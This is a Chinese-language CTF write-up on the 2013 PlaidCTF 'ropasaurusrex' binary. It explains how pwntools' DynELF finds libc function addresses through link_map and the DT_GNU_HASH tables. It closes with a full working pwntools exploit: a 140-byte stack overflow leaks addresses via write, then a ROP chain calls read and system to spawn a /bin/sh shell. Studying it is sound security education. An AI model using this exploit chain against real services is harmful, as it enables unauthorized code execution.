前言:
最近看了以下pwntoos的DynELF方法,对其中是如何获取到函数地址的过程很感兴趣,就研究了一下,对通过DT_GNU_HASH获取函数地址的过程有了比较清晰的了解
漏洞:
我这里使用2013-PlaidCTF进行测试,首先老样子看看对应的反汇编代码
主函数如下,首先进入0804841d方法,然后打印对应的内存数据:
0804841d函数中可以看出存在溢出漏洞,漏洞点也就在这里:
看看保护策略
开启了NX,也就意味着栈中数据没有执行权限,基址重定位和栈保护等都没开启,基本的思路如下:
- 利用栈溢出首先获取read的函数地址。
- 利用相对偏移获取system的函数地址。
- 向bss段写入/bin/sh\x00字符串。
- 调用system函数。
基础:
想理解DynELF的执行,首先需要对link_map和通过hash表找到函数内存加载地址方法有一定的了解,首先讲下link_map:
link_map是在 Linux 下使用的一个数据结构,用于描述动态链接库(共享库)的加载信息。它在动态链接过程中扮演着重要角色,具体的结构如下:
struct link_map {
struct link_map *l_next; // 指向下一个 link_map 结构的指针
struct link_map *l_prev; // 指向前一个 link_map 结构的指针
void *l_addr; // 共享库的基地址
char *l_name; // 共享库的名称(路径)
struct ElfW(Dyn) *l_ld; // 指向 ELF 动态段的指针
void *l_real; // 实际的共享库地址(可能用于不同的加载器)
void *l_reserved; // 保留字段,用于未来扩展
int l_refcount; // 引用计数,跟踪库的使用情况
// 可能还有其他字段,依赖于实现
};
其中我们需要关注的l_next,l_real和l_name三个,首先看看网上找的这个图:
下面我们找一下,首先确定第一个link_map地址位于got.plt的第二位
查看0xf7f7ba30对应 link_map结构:
查询下一个0xf7f40000链内容,可以看到为linux-gate.so,这不是我们要找的,跳过直接进入下一个:
进入下一个link_map:0xf7f40410
这里可以看到libc.so是我们需要找的名称,这样就可以根据real获取基质为:0xf7c00000
可以看到正确:
往后再看一个链,可以看到已经结束,此时next为0,表示结束。
这我们就获取到了对应lib的基址,然后我们需要获取libc.so的DT_GNU_HASH,DT_STRTAB,DT_SYMTAB三个地址,这个需要读取l_ld:0xf7e23d2c
l_ld为指向 ELF 文件的动态段(ElfW(Dyn)
)的指针,包含共享库的动态信息,如所需的其他库、符号表等
可以直接查看对应的libc的区段,可以看到dynamic地址为00223d2c + 0xf7c00000 = 0xf7e23d2c
正常查看libc.so可以看到 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB对应的标记和偏移
对应可以获取
即对应 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB值
[*] Found DT_GNU_HASH at 0xf7c0466c
[*] Found DT_STRTAB at 0xf7c16c40
[*] Found DT_SYMTAB at 0xf7c09a80
获取到了这三个的地址,下面就要计算其具体的函数地址通过hash,这里读取system的地址,具体的结构图可以参考如下
首先我们看看DT_GNU_HASH结构
struct GnuHash {
uint32_t nbuckets; // 桶的数量
uint32_t symndx; // 符号表的开始索引
uint32_t maskbits; // 掩码位数
uint32_t shift; // 用于计算哈希值的位移量
uint32_t buckets[]; // 桶数组,大小为 nbuckets
// 后面可能跟着链表和其他数据
};
DT_STRTAB结构如下:
struct Elf32_Dyn {
int d_tag; // 动态节标记
union {
uint32_t d_val; // 整数值
uint32_t d_ptr; // 指针值
} d_un;
};
DT_SYMTAB结构如下:
struct Elf32_Dyn {
int d_tag; // 动态节标记
union {
uint32_t d_val; // 整数值
uint32_t d_ptr; // 指针值
} d_un;
};
知道了三个的结构,首先我们需要获取桶数组的地址buckets,具体计算方法如下:
buckets = DT_GNU_HASH + sizeof(elf.GNU_HASH) + (elfword * maskwords)
buckets = 0xf7c0466c + 0x10 + (0x00000400 * 4) = 0xF7C0567C
然后需要计算具体的system的hash,计算代码如下:
from pwnlib.util.packing import _need_bytes
def gnu_hash(s):
"""gnu_hash(str) -> int
Function used to generated GNU-style hashes for strings.
"""
s = bytearray(_need_bytes(s, 4, 0x80))
h = 5381
for c in s:
h = h * 33 + c
return h & 0xffffffff
print(gnu_hash("system"))
然后将计算的结果和nbuckets进行计算即485418122 % 0x000003f9 = 0x3CB
然后我们需要获取ndx的地址即通过hash计算的数组获取0xF7C0567C + (0x3CB * 4) = 0xF7C065A8下的内容c89,即对应的索引为c89
根据上述获取对应的地址如下
chain = chains + 4 * (ndx - symndx)
chain = 0xF7C06660 + 4 * (0x0c89 - 0x00000014) = 0xF7C09834
然后计算对应的DT_SYMTAB下的地址
sym = DT_SYMTAB + sizeof(DT_SYMTAB) * (ndx + i)
sym = 0xf7c09a80 + 0x10 * (0x0c89) = 0xF7C16310 ->0x3019
然后根据获取的偏移地址可以去DT_STRTAB表中找到对应的名称,两个表相同
name = DT_STRTAB + sym
name = 0xf7c16c40 + 0x3019 = 0xF7C19C59
可以看到0xF7C19C59下为对应的字符串名称system,证明找的地址没错,那么就可以取sym结构中的地址0004dd50为system的偏移地址和机制相加即可获取system的地址
0xf7c00000+0004dd50 = 0xf7c4dd50
通过gun hash计算的方式我们可以获取加载到程序中任意lib的任意函数地址
但是需要远程读取的时候需要注意我们需要能对外打印地址,需要有write或者print等函数进行打印才可以获取到地址,但是当有\00的终止符的时候除write外会有异常终止需要注意
利用:
最后看下利用方式,首先看看溢出点
0xffffcebc-0xffffce30=8c即140个字符就可以溢出返回地址
这里就需要注意了我们需要溢出返回地址到write,传入参数同时我们还要返回到我们的主函数重复执行,这里需要注意针对write的传参是通过栈而不是寄存器,这样我们就可以构造栈来传入参数:
看下对应的esp值,当前地址内容为0x0804842b,然后是三个参数:
然后执行call,call其实相当于两个功能push+jump push压入下一条地址,jump到指定地址,执行完成后地址如下:
调用系统方法传参通过栈,其内部会将栈的参数传入ebx、ecx、edx
所以我们构造就可构造如下poc
'a'*140 + p32(elf.plt['write']) + p32(start_addr) + p32(1) + p32(addr) + p32(8)
我们通过为write构造p32(1) + p32(addr) + p32(8)参数,然后返回start_addr地址,使得程序能正常执行
但是如何执行我们的system,我们可以先执行read,将输入的内容当作参数传入system中
ssize_t read(int fd, void *buf, size_t count);
我们只要给一个能写的地址,首先看看哪些地址可以写,使用vmmap
可以看到0x8049000 0x804a000可以写入,然后查下区段,使用:info files
我们可以写入到bss或data区段,只要可以写入即可
'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8)
由于read使用三个参数,system使用一个参数,当执行完read后进入system会将地址写入p32(0),将p32(elf.bss()+100当作参数传入并执行。
最后的代码如下:
from pwn import *
import codecs
#context.log_level = 'debug'
pro = 'ropasaurusrex'
#p = remote('127.0.0.1', 10001)
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340
def leak(addr):
payload = b'a'*140 + p32(elf.plt['write']) + p32(start_addr)
payload+= p32(1) + p32(addr) + p32(8)
p.sendline(payload)
context = p.recv(8)
hex_encoded_context = codecs.encode(context, 'hex').decode('utf-8')
print(b"%#x -> %s -> %s" % (addr, hex_encoded_context.encode('utf-8'),context))
return context
d = DynELF(leak,elf = elf)
system_addr = d.lookup(b'system',b'libc')
gdb.attach(p, 'b *0x8048416')
read_addr = d.lookup(b'read',b'libc')
print("system_addr: " + hex(system_addr))
print("read_addr: " + hex(read_addr))
#0x0804968c
p.sendline(b'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline(b'/bin/sh\x00')
p.interactive()
结束~!